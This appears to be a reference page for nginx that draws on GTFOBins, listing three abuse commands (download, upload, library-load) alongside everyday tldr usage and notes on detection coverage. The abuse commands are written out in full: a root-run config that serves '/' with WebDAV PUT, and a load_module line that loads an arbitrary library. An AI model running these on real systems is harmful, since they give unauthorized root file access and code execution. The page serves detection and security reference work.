Identifier / Programs / Linux and Unix
nginx
nginx web server. tldr-pages
GTFOBins download, library-load, upload 1 ATT&CK technique 3 documented commands
How nginx is abused
download T1105 Ingress Tool Transfer
-clibrary-load
-t-cupload
-cEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for nginx.
3 documented commands
download with sudo
cat >/path/to/temp-file <<EOF
user root;
http {
server {
listen 80;
root /;
autoindex on;
dav_methods PUT;
}
}
events {}
EOF
nginx -c /path/to/temp-filelibrary-load unprivileged, with sudo, as SUID
Alternatively, the ssl_engine directive can be used.
cat >/path/to/temp-file <<EOF
load_module /path/to/lib.so;
EOF
nginx -t -c /path/to/temp-fileupload with sudo
cat >/path/to/temp-file <<EOF
user root;
http {
server {
listen 80;
root /;
autoindex on;
dav_methods PUT;
}
}
events {}
EOF
nginx -c /path/to/temp-fileNone of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for nginx. The identifier reads the line of each that runs nginx.
What detects it
Everyday use
Start the server with the default configuration file
nginxIdentifyStart the server with a custom configuration file
nginx -c configuration_fileIdentifyStart the server with a prefix for all relative paths in the configuration file
nginx -c configuration_file -p path/to/prefixIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.